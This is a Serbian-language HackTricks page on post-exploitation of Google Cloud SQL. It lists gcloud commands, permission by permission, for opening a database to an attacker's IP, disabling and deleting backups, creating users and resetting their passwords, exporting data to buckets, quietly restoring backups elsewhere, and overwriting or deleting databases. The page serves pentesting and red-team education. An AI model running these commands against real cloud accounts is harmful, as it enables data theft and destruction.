GCP - Cloud SQL Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Cloud SQL

Za više informacija o Cloud SQL-u pogledajte:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Da biste se povezali sa bazama podataka, samo vam je potreban pristup portu baze podataka i da znate korisničko ime i lozinku, nema nikakvih zahteva za IAM. Dakle, jednostavan način da dobijete pristup, pretpostavljajući da baza podataka ima javnu IP adresu, je da ažurirate dozvoljene mreže i omogućite pristup sa vaše sopstvene IP adrese.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Takođe je moguće koristiti --no-backup da prekinete rezervne kopije baze podataka.

Pošto nisam potpuno siguran za šta su potrebne dozvole cloudsql.instances.connect i cloudsql.instances.login, ako znate, pošaljite PR!

cloudsql.users.list

Dobijte listu svih korisnika baze podataka:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ova dozvola omogućava kreiranje novog korisnika unutar baze podataka:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Ova dozvola omogućava ažuriranje korisnika unutar baze podataka. Na primer, možete promeniti njegovu lozinku:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Rezervne kopije mogu sadržavati stare osetljive informacije, pa je interesantno da ih proverite. Vratite rezervnu kopiju unutar baze podataka:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Da biste to uradili na diskretniji način, preporučuje se kreiranje nove SQL instance i vraćanje podataka tamo umesto u trenutno pokrenutim bazama podataka.

cloudsql.backupRuns.delete

Ova dozvola omogućava brisanje rezervnih kopija:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Izvezi bazu podataka u Cloud Storage Bucket kako biste joj mogli pristupiti odatle:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Uvezi bazu podataka (prepiši) iz Cloud Storage Bucket-a:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Obrišite bazu podataka sa instancije baze podataka:

gcloud sql databases delete <db-name> --instance <instance-id>
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated